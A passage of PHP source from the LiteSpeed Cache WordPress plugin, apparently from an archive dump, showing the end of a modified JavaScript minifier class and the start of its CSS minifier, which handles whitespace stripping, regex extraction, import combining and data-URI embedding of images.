f2}-\x{1cf4}\x{1dc0}-\x{1de6}\x{1dfc}-\x{1dff}\x{200c}\x{200d}\x{203f}\x{2040}\x{2054}\x{20d0}-\x{20dc}\x{20e1}\x{20e5}-\x{20f0}\x{2cef}-\x{2cf1}\x{2d7f}\x{2de0}-\x{2dff}\x{302a}-\x{302f}\x{3099}\x{309a}\x{a620}-\x{a629}\x{a66f}\x{a674}-\x{a67d}\x{a69f}\x{a6f0}\x{a6f1}\x{a802}\x{a806}\x{a80b}\x{a823}-\x{a827}\x{a880}\x{a881}\x{a8b4}-\x{a8c4}\x{a8d0}-\x{a8d9}\x{a8e0}-\x{a8f1}\x{a900}-\x{a909}\x{a926}-\x{a92d}\x{a947}-\x{a953}\x{a980}-\x{a983}\x{a9b3}-\x{a9c0}\x{a9d0}-\x{a9d9}\x{aa29}-\x{aa36}\x{aa43}\x{aa4c}\x{aa4d}\x{aa50}-\x{aa59}\x{aa7b}\x{aab0}\x{aab2}-\x{aab4}\x{aab7}\x{aab8}\x{aabe}\x{aabf}\x{aac1}\x{aaeb}-\x{aaef}\x{aaf5}\x{aaf6}\x{abe3}-\x{abea}\x{abec}\x{abed}\x{abf0}-\x{abf9}\x{fb1e}\x{fe00}-\x{fe0f}\x{fe20}-\x{fe26}\x{fe33}\x{fe34}\x{fe4d}-\x{fe4f}\x{ff10}-\x{ff19}\x{ff3f}]*\b';

	/**
	 * Full list of JavaScript reserved words.
	 * Will be loaded from /data/js/keywords_reserved.txt.
	 *
	 * @see https://mathiasbynens.be/notes/reserved-keywords
	 *
	 * @var string[]
	 */
	protected $keywordsReserved = array();

	/**
	 * List of JavaScript reserved words that accept a <variable, value, ...>
	 * after them. Some end of lines are not the end of a statement, like with
	 * these keywords.
	 *
	 * E.g.: we shouldn't insert a ; after this else
	 * else
	 *     console.log('this is quite fine')
	 *
	 * Will be loaded from /data/js/keywords_before.txt
	 *
	 * @var string[]
	 */
	protected $keywordsBefore = array();

	/**
	 * List of JavaScript reserved words that accept a <variable, value, ...>
	 * before them. Some end of lines are not the end of a statement, like when
	 * continued by one of these keywords on the newline.
	 *
	 * E.g.: we shouldn't insert a ; before this instanceof
	 * variable
	 *     instanceof String
	 *
	 * Will be loaded from /data/js/keywords_after.txt
	 *
	 * @var string[]
	 */
	protected $keywordsAfter = array();

	/**
	 * List of all JavaScript operators.
	 *
	 * Will be loaded from /data/js/operators.txt
	 *
	 * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators
	 *
	 * @var string[]
	 */
	protected $operators = array();

	/**
	 * List of JavaScript operators that accept a <variable, value, ...> after
	 * them. Some end of lines are not the end of a statement, like with these
	 * operators.
	 *
	 * Note: Most operators are fine, we've only removed ++ and --.
	 * ++ & -- have to be joined with the value they're in-/decrementing.
	 *
	 * Will be loaded from /data/js/operators_before.txt
	 *
	 * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators
	 *
	 * @var string[]
	 */
	protected $operatorsBefore = array();

	/**
	 * List of JavaScript operators that accept a <variable, value, ...> before
	 * them. Some end of lines are not the end of a statement, like when
	 * continued by one of these operators on the newline.
	 *
	 * Note: Most operators are fine, we've only removed ), ], ++, --, ! and ~.
	 * There can't be a newline separating ! or ~ and whatever it is negating.
	 * ++ & -- have to be joined with the value they're in-/decrementing.
	 * ) & ] are "special" in that they have lots or usecases. () for example
	 * is used for function calls, for grouping, in if () and for (), ...
	 *
	 * Will be loaded from /data/js/operators_after.txt
	 *
	 * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators
	 *
	 * @var string[]
	 */
	protected $operatorsAfter = array();

	public function __construct() {
		call_user_func_array( array( '\\LiteSpeed\\Lib\\CSS_JS_MIN\\Minify\\Minify', '__construct' ), func_get_args() );

		$dataDir                = __DIR__ . '/data/js/';
		$options                = FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES;
		$this->keywordsReserved = file( $dataDir . 'keywords_reserved.txt', $options );
		$this->keywordsBefore   = file( $dataDir . 'keywords_before.txt', $options );
		$this->keywordsAfter    = file( $dataDir . 'keywords_after.txt', $options );
		$this->operators        = file( $dataDir . 'operators.txt', $options );
		$this->operatorsBefore  = file( $dataDir . 'operators_before.txt', $options );
		$this->operatorsAfter   = file( $dataDir . 'operators_after.txt', $options );
	}

	/**
	 * Minify the data.
	 * Perform JS optimizations.
	 *
	 * @param string[optional] $path Path to write the data to
	 *
	 * @return string The minified data
	 */
	public function execute( $path = null ) {
		$content = '';

		/*
		 * Let's first take out strings, comments and regular expressions.
		 * All of these can contain JS code-like characters, and we should make
		 * sure any further magic ignores anything inside of these.
		 *
		 * Consider this example, where we should not strip any whitespace:
		 * var str = "a   test";
		 *
		 * Comments will be removed altogether, strings and regular expressions
		 * will be replaced by placeholder text, which we'll restore later.
		 */
		$this->extractStrings( '\'"`' );
		$this->stripComments();
		$this->extractRegex();

		// loop files
		foreach ( $this->data as $source => $js ) {
			// take out strings, comments & regex (for which we've registered
			// the regexes just a few lines earlier)
			$js = $this->replace( $js );

			$js = $this->propertyNotation( $js );
			$js = $this->shortenBools( $js );
			$js = $this->stripWhitespace( $js );

			// combine js: separating the scripts by a ;
			$content .= $js . ';';
		}

		// clean up leftover `;`s from the combination of multiple scripts
		$content = ltrim( $content, ';' );
		$content = (string) substr( $content, 0, -1 );

		/*
		 * Earlier, we extracted strings & regular expressions and replaced them
		 * with placeholder text. This will restore them.
		 */
		$content = $this->restoreExtractedData( $content );

		return $content;
	}

	/**
	 * Strip comments from source code.
	 */
	protected function stripComments() {
		$this->stripMultilineComments();

		// single-line comments
		$this->registerPattern( '/\/\/.*$/m', '' );
	}

	/**
	 * JS can have /-delimited regular expressions, like: /ab+c/.match(string).
	 *
	 * The content inside the regex can contain characters that may be confused
	 * for JS code: e.g. it could contain whitespace it needs to match & we
	 * don't want to strip whitespace in there.
	 *
	 * The regex can be pretty simple: we don't have to care about comments,
	 * (which also use slashes) because stripComments() will have stripped those
	 * already.
	 *
	 * This method will replace all string content with simple REGEX#
	 * placeholder text, so we've rid all regular expressions from characters
	 * that may be misinterpreted. Original regex content will be saved in
	 * $this->extracted and after doing all other minifying, we can restore the
	 * original content via restoreRegex()
	 */
	protected function extractRegex() {
		// PHP only supports $this inside anonymous functions since 5.4
		$minifier = $this;
		$callback = function ( $match ) use ( $minifier ) {
			$count                               = count( $minifier->extracted );
			$placeholder                         = '"' . $count . '"';
			$minifier->extracted[ $placeholder ] = $match[0];

			return $placeholder;
		};

		// match all chars except `/` and `\`
		// `\` is allowed though, along with whatever char follows (which is the
		// one being escaped)
		// this should allow all chars, except for an unescaped `/` (= the one
		// closing the regex)
		// then also ignore bare `/` inside `[]`, where they don't need to be
		// escaped: anything inside `[]` can be ignored safely
		$pattern = '\\/(?!\*)(?:[^\\[\\/\\\\\n\r]++|(?:\\\\.)++|(?:\\[(?:[^\\]\\\\\n\r]++|(?:\\\\.)++)++\\])++)++\\/[gimuy]*';

		// a regular expression can only be followed by a few operators or some
		// of the RegExp methods (a `\` followed by a variable or value is
		// likely part of a division, not a regex)
		$keywords             = array( 'do', 'in', 'new', 'else', 'throw', 'yield', 'delete', 'return', 'typeof' );
		$before               = '(^|[=:,;\+\-\*\?\/\}\(\{\[&\|!]|' . implode( '|', $keywords ) . ')\s*';
		$propertiesAndMethods = array(
			// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Properties_2
			'constructor',
			'flags',
			'global',
			'ignoreCase',
			'multiline',
			'source',
			'sticky',
			'unicode',
			// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Methods_2
			'compile(',
			'exec(',
			'test(',
			'toSource(',
			'toString(',
		);
		$delimiters           = array_fill( 0, count( $propertiesAndMethods ), '/' );
		$propertiesAndMethods = array_map( 'preg_quote', $propertiesAndMethods, $delimiters );
		$after                = '(?=\s*([\.,;:\)\}&\|+]|\/\/|$|\.(' . implode( '|', $propertiesAndMethods ) . ')))';
		$this->registerPattern( '/' . $before . '\K' . $pattern . $after . '/', $callback );

		// regular expressions following a `)` are rather annoying to detect...
		// quite often, `/` after `)` is a division operator & if it happens to
		// be followed by another one (or a comment), it is likely to be
		// confused for a regular expression
		// however, it's perfectly possible for a regex to follow a `)`: after
		// a single-line `if()`, `while()`, ... statement, for example
		// since, when they occur like that, they're always the start of a
		// statement, there's only a limited amount of ways they can be useful:
		// by calling the regex methods directly
		// if a regex following `)` is not followed by `.<property or method>`,
		// it's quite likely not a regex
		$before = '\)\s*';
		$after  = '(?=\s*\.(' . implode( '|', $propertiesAndMethods ) . '))';
		$this->registerPattern( '/' . $before . '\K' . $pattern . $after . '/', $callback );

		// 1 more edge case: a regex can be followed by a lot more operators or
		// keywords if there's a newline (ASI) in between, where the operator
		// actually starts a new statement
		// (https://github.com/matthiasmullie/minify/issues/56)
		$operators  = $this->getOperatorsForRegex( $this->operatorsBefore, '/' );
		$operators += $this->getOperatorsForRegex( $this->keywordsReserved, '/' );
		$after      = '(?=\s*\n\s*(' . implode( '|', $operators ) . '))';
		$this->registerPattern( '/' . $pattern . $after . '/', $callback );
	}

	/**
	 * Strip whitespace.
	 *
	 * We won't strip *all* whitespace, but as much as possible. The thing that
	 * we'll preserve are newlines we're unsure about.
	 * JavaScript doesn't require statements to be terminated with a semicolon.
	 * It will automatically fix missing semicolons with ASI (automatic semi-
	 * colon insertion) at the end of line causing errors (without semicolon.)
	 *
	 * Because it's sometimes hard to tell if a newline is part of a statement
	 * that should be terminated or not, we'll just leave some of them alone.
	 *
	 * @param string $content The content to strip the whitespace for
	 *
	 * @return string
	 */
	protected function stripWhitespace( $content ) {
		// uniform line endings, make them all line feed
		$content = str_replace( array( "\r\n", "\r" ), "\n", $content );

		// collapse all non-line feed whitespace into a single space
		$content = preg_replace( '/[^\S\n]+/', ' ', $content );

		// strip leading & trailing whitespace
		$content = str_replace( array( " \n", "\n " ), "\n", $content );

		// collapse consecutive line feeds into just 1
		$content = preg_replace( '/\n+/', "\n", $content );

		$operatorsBefore = $this->getOperatorsForRegex( $this->operatorsBefore, '/' );
		$operatorsAfter  = $this->getOperatorsForRegex( $this->operatorsAfter, '/' );
		$operators       = $this->getOperatorsForRegex( $this->operators, '/' );
		$keywordsBefore  = $this->getKeywordsForRegex( $this->keywordsBefore, '/' );
		$keywordsAfter   = $this->getKeywordsForRegex( $this->keywordsAfter, '/' );

		// strip whitespace that ends in (or next line begin with) an operator
		// that allows statements to be broken up over multiple lines
		unset( $operatorsBefore['+'], $operatorsBefore['-'], $operatorsAfter['+'], $operatorsAfter['-'] );
		$content = preg_replace(
			array(
				'/(' . implode( '|', $operatorsBefore ) . ')\s+/',
				'/\s+(' . implode( '|', $operatorsAfter ) . ')/',
			),
			'\\1',
			$content
		);

		// make sure + and - can't be mistaken for, or joined into ++ and --
		$content = preg_replace(
			array(
				'/(?<![\+\-])\s*([\+\-])(?![\+\-])/',
				'/(?<![\+\-])([\+\-])\s*(?![\+\-])/',
			),
			'\\1',
			$content
		);

		// collapse whitespace around reserved words into single space
		$content = preg_replace( '/(^|[;\}\s])\K(' . implode( '|', $keywordsBefore ) . ')\s+/', '\\2 ', $content );
		$content = preg_replace( '/\s+(' . implode( '|', $keywordsAfter ) . ')(?=([;\{\s]|$))/', ' \\1', $content );

		/*
		 * We didn't strip whitespace after a couple of operators because they
		 * could be used in different contexts and we can't be sure it's ok to
		 * strip the newlines. However, we can safely strip any non-line feed
		 * whitespace that follows them.
		 */
		$operatorsDiffBefore = array_diff( $operators, $operatorsBefore );
		$operatorsDiffAfter  = array_diff( $operators, $operatorsAfter );
		$content             = preg_replace( '/(' . implode( '|', $operatorsDiffBefore ) . ')[^\S\n]+/', '\\1', $content );
		$content             = preg_replace( '/[^\S\n]+(' . implode( '|', $operatorsDiffAfter ) . ')/', '\\1', $content );

		/*
		 * Whitespace after `return` can be omitted in a few occasions
		 * (such as when followed by a string or regex)
		 * Same for whitespace in between `)` and `{`, or between `{` and some
		 * keywords.
		 */
		$content = preg_replace( '/\breturn\s+(["\'\/\+\-])/', 'return$1', $content );
		$content = preg_replace( '/\)\s+\{/', '){', $content );
		$content = preg_replace( '/}\n(else|catch|finally)\b/', '}$1', $content );

		/*
		 * Get rid of double semicolons, except where they can be used like:
		 * "for(v=1,_=b;;)", "for(v=1;;v++)" or "for(;;ja||(ja=true))".
		 * I'll safeguard these double semicolons inside for-loops by
		 * temporarily replacing them with an invalid condition: they won't have
		 * a double semicolon and will be easy to spot to restore afterwards.
		 */
		$content = preg_replace( '/\bfor\(([^;]*);;([^;]*)\)/', 'for(\\1;-;\\2)', $content );
		$content = preg_replace( '/;+/', ';', $content );
		$content = preg_replace( '/\bfor\(([^;]*);-;([^;]*)\)/', 'for(\\1;;\\2)', $content );

		/*
		 * Next, we'll be removing all semicolons where ASI kicks in.
		 * for-loops however, can have an empty body (ending in only a
		 * semicolon), like: `for(i=1;i<3;i++);`, of `for(i in list);`
		 * Here, nothing happens during the loop; it's just used to keep
		 * increasing `i`. With that ; omitted, the next line would be expected
		 * to be the for-loop's body... Same goes for while loops.
		 * I'm going to double that semicolon (if any) so after the next line,
		 * which strips semicolons here & there, we're still left with this one.
		 * Note the special recursive construct in the three inner parts of the for:
		 * (\{([^\{\}]*(?-2))*[^\{\}]*\})? - it is intended to match inline
		 * functions bodies, e.g.: i<arr.map(function(e){return e}).length.
		 * Also note that the construct is applied only once and multiplied
		 * for each part of the for, otherwise it risks a catastrophic backtracking.
		 * The limitation is that it will not allow closures in more than one
		 * of the three parts for a specific for() case.
		 * REGEX throwing catastrophic backtracking: $content = preg_replace('/(for\([^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*;[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*;[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*\));(\}|$)/s', '\\1;;\\8', $content);
		 */
		$content = preg_replace( '/(for\((?:[^;\{]*|[^;\{]*function[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*);[^;\{]*;[^;\{]*\));(\}|$)/s', '\\1;;\\4', $content );
		$content = preg_replace( '/(for\([^;\{]*;(?:[^;\{]*|[^;\{]*function[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*);[^;\{]*\));(\}|$)/s', '\\1;;\\4', $content );
		$content = preg_replace( '/(for\([^;\{]*;[^;\{]*;(?:[^;\{]*|[^;\{]*function[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*)\));(\}|$)/s', '\\1;;\\4', $content );

		$content = preg_replace( '/(for\([^;\{]+\s+in\s+[^;\{]+\));(\}|$)/s', '\\1;;\\2', $content );

		/*
		 * Do the same for the if's that don't have a body but are followed by ;}
		 */
		$content = preg_replace( '/(\bif\s*\([^{;]*\));\}/s', '\\1;;}', $content );

		/*
		 * Below will also keep `;` after a `do{}while();` along with `while();`
		 * While these could be stripped after do-while, detecting this
		 * distinction is cumbersome, so I'll play it safe and make sure `;`
		 * after any kind of `while` is kept.
		 */
		$content = preg_replace( '/(while\([^;\{]+\));(\}|$)/s', '\\1;;\\2', $content );

		/*
		 * We also can't strip empty else-statements. Even though they're
		 * useless and probably shouldn't be in the code in the first place, we
		 * shouldn't be stripping the `;` that follows it as it breaks the code.
		 * We can just remove those useless else-statements completely.
		 *
		 * @see https://github.com/matthiasmullie/minify/issues/91
		 */
		$content = preg_replace( '/else;/s', '', $content );

		/*
		 * We also don't really want to terminate statements followed by closing
		 * curly braces (which we've ignored completely up until now) or end-of-
		 * script: ASI will kick in here & we're all about minifying.
		 * Semicolons at beginning of the file don't make any sense either.
		 */
		$content = preg_replace( '/;(\}|$)/s', '\\1', $content );
		$content = ltrim( $content, ';' );

		// get rid of remaining whitespace af beginning/end
		return trim( $content );
	}

	/**
	 * We'll strip whitespace around certain operators with regular expressions.
	 * This will prepare the given array by escaping all characters.
	 *
	 * @param string[] $operators
	 * @param string   $delimiter
	 *
	 * @return string[]
	 */
	protected function getOperatorsForRegex( array $operators, $delimiter = '/' ) {
		// escape operators for use in regex
		$delimiters = array_fill( 0, count( $operators ), $delimiter );
		$escaped    = array_map( 'preg_quote', $operators, $delimiters );

		$operators = array_combine( $operators, $escaped );

		// ignore + & - for now, they'll get special treatment
		unset( $operators['+'], $operators['-'] );

		// dot can not just immediately follow a number; it can be confused for
		// decimal point, or calling a method on it, e.g. 42 .toString()
		$operators['.'] = '(?<![0-9]\s)\.';

		// don't confuse = with other assignment shortcuts (e.g. +=)
		$chars          = preg_quote( '+-*\=<>%&|', $delimiter );
		$operators['='] = '(?<![' . $chars . '])\=';

		return $operators;
	}

	/**
	 * We'll strip whitespace around certain keywords with regular expressions.
	 * This will prepare the given array by escaping all characters.
	 *
	 * @param string[] $keywords
	 * @param string   $delimiter
	 *
	 * @return string[]
	 */
	protected function getKeywordsForRegex( array $keywords, $delimiter = '/' ) {
		// escape keywords for use in regex
		$delimiter = array_fill( 0, count( $keywords ), $delimiter );
		$escaped   = array_map( 'preg_quote', $keywords, $delimiter );

		// add word boundaries
		array_walk(
			$keywords,
			function ( $value ) {
				return '\b' . $value . '\b';
			}
		);

		$keywords = array_combine( $keywords, $escaped );

		return $keywords;
	}

	/**
	 * Replaces all occurrences of array['key'] by array.key.
	 *
	 * @param string $content
	 *
	 * @return string
	 */
	protected function propertyNotation( $content ) {
		// PHP only supports $this inside anonymous functions since 5.4
		$minifier = $this;
		$keywords = $this->keywordsReserved;
		$callback = function ( $match ) use ( $minifier, $keywords ) {
			$property = trim( $minifier->extracted[ $match[1] ], '\'"' );

			/*
			 * Check if the property is a reserved keyword. In this context (as
			 * property of an object literal/array) it shouldn't matter, but IE8
			 * freaks out with "Expected identifier".
			 */
			if ( in_array( $property, $keywords ) ) {
				return $match[0];
			}

			/*
			 * See if the property is in a variable-like format (e.g.
			 * array['key-here'] can't be replaced by array.key-here since '-'
			 * is not a valid character there.
			 */
			if ( ! preg_match( '/^' . $minifier::REGEX_VARIABLE . '$/u', $property ) ) {
				return $match[0];
			}

			return '.' . $property;
		};

		/*
		 * Figure out if previous character is a variable name (of the array
		 * we want to use property notation on) - this is to make sure
		 * standalone ['value'] arrays aren't confused for keys-of-an-array.
		 * We can (and only have to) check the last character, because PHP's
		 * regex implementation doesn't allow unfixed-length look-behind
		 * assertions.
		 */
		preg_match( '/(\[[^\]]+\])[^\]]*$/', static::REGEX_VARIABLE, $previousChar );
		$previousChar = $previousChar[1];

		/*
		 * Make sure word preceding the ['value'] is not a keyword, e.g.
		 * return['x']. Because -again- PHP's regex implementation doesn't allow
		 * unfixed-length look-behind assertions, I'm just going to do a lot of
		 * separate look-behind assertions, one for each keyword.
		 */
		$keywords = $this->getKeywordsForRegex( $keywords );
		$keywords = '(?<!' . implode( ')(?<!', $keywords ) . ')';

		return preg_replace_callback( '/(?<=' . $previousChar . '|\])' . $keywords . '\[\s*(([\'"])[0-9]+\\2)\s*\]/u', $callback, $content );
	}

	/**
	 * Replaces true & false by !0 and !1.
	 *
	 * @param string $content
	 *
	 * @return string
	 */
	protected function shortenBools( $content ) {
		/*
		 * 'true' or 'false' could be used as property names (which may be
		 * followed by whitespace) - we must not replace those!
		 * Since PHP doesn't allow variable-length (to account for the
		 * whitespace) lookbehind assertions, I need to capture the leading
		 * character and check if it's a `.`
		 */
		$callback = function ( $match ) {
			if ( trim( $match[1] ) === '.' ) {
				return $match[0];
			}

			return $match[1] . ( $match[2] === 'true' ? '!0' : '!1' );
		};
		$content  = preg_replace_callback( '/(^|.\s*)\b(true|false)\b(?!:)/', $callback, $content );

		// for(;;) is exactly the same as while(true), but shorter :)
		$content = preg_replace( '/\bwhile\(!0\){/', 'for(;;){', $content );

		// now make sure we didn't turn any do ... while(true) into do ... for(;;)
		preg_match_all( '/\bdo\b/', $content, $dos, PREG_OFFSET_CAPTURE | PREG_SET_ORDER );

		// go backward to make sure positional offsets aren't altered when $content changes
		$dos = array_reverse( $dos );
		foreach ( $dos as $do ) {
			$offsetDo = $do[0][1];

			// find all `while` (now `for`) following `do`: one of those must be
			// associated with the `do` and be turned back into `while`
			preg_match_all( '/\bfor\(;;\)/', $content, $whiles, PREG_OFFSET_CAPTURE | PREG_SET_ORDER, $offsetDo );
			foreach ( $whiles as $while ) {
				$offsetWhile = $while[0][1];

				$open  = substr_count( $content, '{', $offsetDo, $offsetWhile - $offsetDo );
				$close = substr_count( $content, '}', $offsetDo, $offsetWhile - $offsetDo );
				if ( $open === $close ) {
					// only restore `while` if amount of `{` and `}` are the same;
					// otherwise, that `for` isn't associated with this `do`
					$content = substr_replace( $content, 'while(!0)', $offsetWhile, strlen( 'for(;;)' ) );
					break;
				}
			}
		}

		return $content;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/css.cls.php000064400000065145151031165260022553 0ustar00<?php
// phpcs:ignoreFile
/**
 * css.cls.php - modified PHP implementation of Matthias Mullie's CSS minifier
 *
 * @author Matthias Mullie <minify@mullie.eu>
 * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved
 * @license MIT License
 */

namespace LiteSpeed\Lib\CSS_JS_MIN\Minify;

use LiteSpeed\Lib\CSS_JS_MIN\Minify\Minify;
use LiteSpeed\Lib\CSS_JS_MIN\Minify\Exception\FileImportException;
use LiteSpeed\Lib\CSS_JS_MIN\PathConverter\Converter;
use LiteSpeed\Lib\CSS_JS_MIN\PathConverter\ConverterInterface;

defined( 'WPINC' ) || exit;

class CSS extends Minify {

	/**
	 * @var int maximum import size in kB
	 */
	protected $maxImportSize = 5;

	/**
	 * @var string[] valid import extensions
	 */
	protected $importExtensions = array(
		'gif'   => 'data:image/gif',
		'png'   => 'data:image/png',
		'jpe'   => 'data:image/jpeg',
		'jpg'   => 'data:image/jpeg',
		'jpeg'  => 'data:image/jpeg',
		'svg'   => 'data:image/svg+xml',
		'woff'  => 'data:application/x-font-woff',
		'woff2' => 'data:application/x-font-woff2',
		'avif'  => 'data:image/avif',
		'apng'  => 'data:image/apng',
		'webp'  => 'data:image/webp',
		'tif'   => 'image/tiff',
		'tiff'  => 'image/tiff',
		'xbm'   => 'image/x-xbitmap',
	);

	/**
	 * Set the maximum size if files to be imported.
	 *
	 * Files larger than this size (in kB) will not be imported into the CSS.
	 * Importing files into the CSS as data-uri will save you some connections,
	 * but we should only import relatively small decorative images so that our
	 * CSS file doesn't get too bulky.
	 *
	 * @param int $size Size in kB
	 */
	public function setMaxImportSize( $size ) {
		$this->maxImportSize = $size;
	}

	/**
	 * Set the type of extensions to be imported into the CSS (to save network
	 * connections).
	 * Keys of the array should be the file extensions & respective values
	 * should be the data type.
	 *
	 * @param string[] $extensions Array of file extensions
	 */
	public function setImportExtensions( array $extensions ) {
		$this->importExtensions = $extensions;
	}

	/**
	 * Move any import statements to the top.
	 *
	 * @param string $content Nearly finished CSS content
	 *
	 * @return string
	 */
	public function moveImportsToTop( $content ) {
		if ( preg_match_all( '/(;?)(@import (?<url>url\()?(?P<quotes>["\']?).+?(?P=quotes)(?(url)\)));?/', $content, $matches ) ) {
			// remove from content
			foreach ( $matches[0] as $import ) {
				$content = str_replace( $import, '', $content );
			}

			// add to top
			$content = implode( ';', $matches[2] ) . ';' . trim( $content, ';' );
		}

		return $content;
	}

	/**
	 * Combine CSS from import statements.
	 *
	 * \@import's will be loaded and their content merged into the original file,
	 * to save HTTP requests.
	 *
	 * @param string   $source  The file to combine imports for
	 * @param string   $content The CSS content to combine imports for
	 * @param string[] $parents Parent paths, for circular reference checks
	 *
	 * @return string
	 *
	 * @throws FileImportException
	 */
	protected function combineImports( $source, $content, $parents ) {
		$importRegexes = array(
			// @import url(xxx)
			'/
            # import statement
            @import

            # whitespace
            \s+

                # open url()
                url\(

                    # (optional) open path enclosure
                    (?P<quotes>["\']?)

                        # fetch path
                        (?P<path>.+?)

                    # (optional) close path enclosure
                    (?P=quotes)

                # close url()
                \)

                # (optional) trailing whitespace
                \s*

                # (optional) media statement(s)
                (?P<media>[^;]*)

                # (optional) trailing whitespace
                \s*

            # (optional) closing semi-colon
            ;?

            /ix',

			// @import 'xxx'
			'/

            # import statement
            @import

            # whitespace
            \s+

                # open path enclosure
                (?P<quotes>["\'])

                    # fetch path
                    (?P<path>.+?)

                # close path enclosure
                (?P=quotes)

                # (optional) trailing whitespace
                \s*

                # (optional) media statement(s)
                (?P<media>[^;]*)

                # (optional) trailing whitespace
                \s*

            # (optional) closing semi-colon
            ;?

            /ix',
		);

		// find all relative imports in css
		$matches = array();
		foreach ( $importRegexes as $importRegex ) {
			if ( preg_match_all( $importRegex, $content, $regexMatches, PREG_SET_ORDER ) ) {
				$matches = array_merge( $matches, $regexMatches );
			}
		}

		$search  = array();
		$replace = array();

		// loop the matches
		foreach ( $matches as $match ) {
			// get the path for the file that will be imported
			$importPath = dirname( $source ) . '/' . $match['path'];

			// only replace the import with the content if we can grab the
			// content of the file
			if ( ! $this->canImportByPath( $match['path'] ) || ! $this->canImportFile( $importPath ) ) {
				continue;
			}

			// check if current file was not imported previously in the same
			// import chain.
			if ( in_array( $importPath, $parents ) ) {
				throw new FileImportException( 'Failed to import file "' . $importPath . '": circular reference detected.' );
			}

			// grab referenced file & minify it (which may include importing
			// yet other @import statements recursively)
			$minifier = new self( $importPath );
			$minifier->setMaxImportSize( $this->maxImportSize );
			$minifier->setImportExtensions( $this->importExtensions );
			$importContent = $minifier->execute( $source, $parents );

			// check if this is only valid for certain media
			if ( ! empty( $match['media'] ) ) {
				$importContent = '@media ' . $match['media'] . '{' . $importContent . '}';
			}

			// add to replacement array
			$search[]  = $match[0];
			$replace[] = $importContent;
		}

		// replace the import statements
		return str_replace( $search, $replace, $content );
	}

	/**
	 * Import files into the CSS, base64 encoded.
	 *
	 * Included images @url(image.jpg) will be loaded and their content merged into the
	 * original file, to save HTTP requests.
	 *
	 * @param string $source  The file to import files for
	 * @param string $content The CSS content to import files for
	 *
	 * @return string
	 */
	protected function importFiles( $source, $content ) {
		$regex = '/url\((["\']?)(.+?)\\1\)/i';
		if ( $this->importExtensions && preg_match_all( $regex, $content, $matches, PREG_SET_ORDER ) ) {
			$search  = array();
			$replace = array();

			// loop the matches
			foreach ( $matches as $match ) {
				$extension = substr( strrchr( $match[2], '.' ), 1 );
				if ( $extension && ! array_key_exists( $extension, $this->importExtensions ) ) {
					continue;
				}

				// get the path for the file that will be imported
				$path = $match[2];
				$path = dirname( $source ) . '/' . $path;

				// only replace the import with the content if we're able to get
				// the content of the file, and it's relatively small
				if ( $this->canImportFile( $path ) && $this->canImportBySize( $path ) ) {
					// grab content && base64-ize
					$importContent = $this->load( $path );
					$importContent = base64_encode( $importContent );

					// build replacement
					$search[]  = $match[0];
					$replace[] = 'url(' . $this->importExtensions[ $extension ] . ';base64,' . $importContent . ')';
				}
			}

			// replace the import statements
			$content = str_replace( $search, $replace, $content );
		}

		return $content;
	}

	/**
	 * Minify the data.
	 * Perform CSS optimizations.
	 *
	 * @param string[optional] $path    Path to write the data to
	 * @param string[]         $parents Parent paths, for circular reference checks
	 *
	 * @return string The minified data
	 */
	public function execute( $path = null, $parents = array() ) {
		$content = '';

		// loop CSS data (raw data and files)
		foreach ( $this->data as $source => $css ) {
			/*
			 * Let's first take out strings & comments, since we can't just
			 * remove whitespace anywhere. If whitespace occurs inside a string,
			 * we should leave it alone. E.g.:
			 * p { content: "a   test" }
			 */
			$this->extractStrings();
			$this->stripComments();
			$this->extractMath();
			$this->extractCustomProperties();
			$css = $this->replace( $css );

			$css = $this->stripWhitespace( $css );
			$css = $this->convertLegacyColors( $css );
			$css = $this->cleanupModernColors( $css );
			$css = $this->shortenHEXColors( $css );
			$css = $this->shortenZeroes( $css );
			$css = $this->shortenFontWeights( $css );
			$css = $this->stripEmptyTags( $css );

			// restore the string we've extracted earlier
			$css = $this->restoreExtractedData( $css );

			$source  = is_int( $source ) ? '' : $source;
			$parents = $source ? array_merge( $parents, array( $source ) ) : $parents;
			$css     = $this->combineImports( $source, $css, $parents );
			$css     = $this->importFiles( $source, $css );

			/*
			 * If we'll save to a new path, we'll have to fix the relative paths
			 * to be relative no longer to the source file, but to the new path.
			 * If we don't write to a file, fall back to same path so no
			 * conversion happens (because we still want it to go through most
			 * of the move code, which also addresses url() & @import syntax...)
			 */
			$converter = $this->getPathConverter( $source, $path ?: $source );
			$css       = $this->move( $converter, $css );

			// combine css
			$content .= $css;
		}

		$content = $this->moveImportsToTop( $content );

		return $content;
	}

	/**
	 * Moving a css file should update all relative urls.
	 * Relative references (e.g. ../images/image.gif) in a certain css file,
	 * will have to be updated when a file is being saved at another location
	 * (e.g. ../../images/image.gif, if the new CSS file is 1 folder deeper).
	 *
	 * @param ConverterInterface $converter Relative path converter
	 * @param string             $content   The CSS content to update relative urls for
	 *
	 * @return string
	 */
	protected function move( ConverterInterface $converter, $content ) {
		/*
		 * Relative path references will usually be enclosed by url(). @import
		 * is an exception, where url() is not necessary around the path (but is
		 * allowed).
		 * This *could* be 1 regular expression, where both regular expressions
		 * in this array are on different sides of a |. But we're using named
		 * patterns in both regexes, the same name on both regexes. This is only
		 * possible with a (?J) modifier, but that only works after a fairly
		 * recent PCRE version. That's why I'm doing 2 separate regular
		 * expressions & combining the matches after executing of both.
		 */
		$relativeRegexes = array(
			// url(xxx)
			'/
            # open url()
            url\(

                \s*

                # open path enclosure
                (?P<quotes>["\'])?

                    # fetch path
                    (?P<path>.+?)

                # close path enclosure
                (?(quotes)(?P=quotes))

                \s*

            # close url()
            \)

            /ix',

			// @import "xxx"
			'/
            # import statement
            @import

            # whitespace
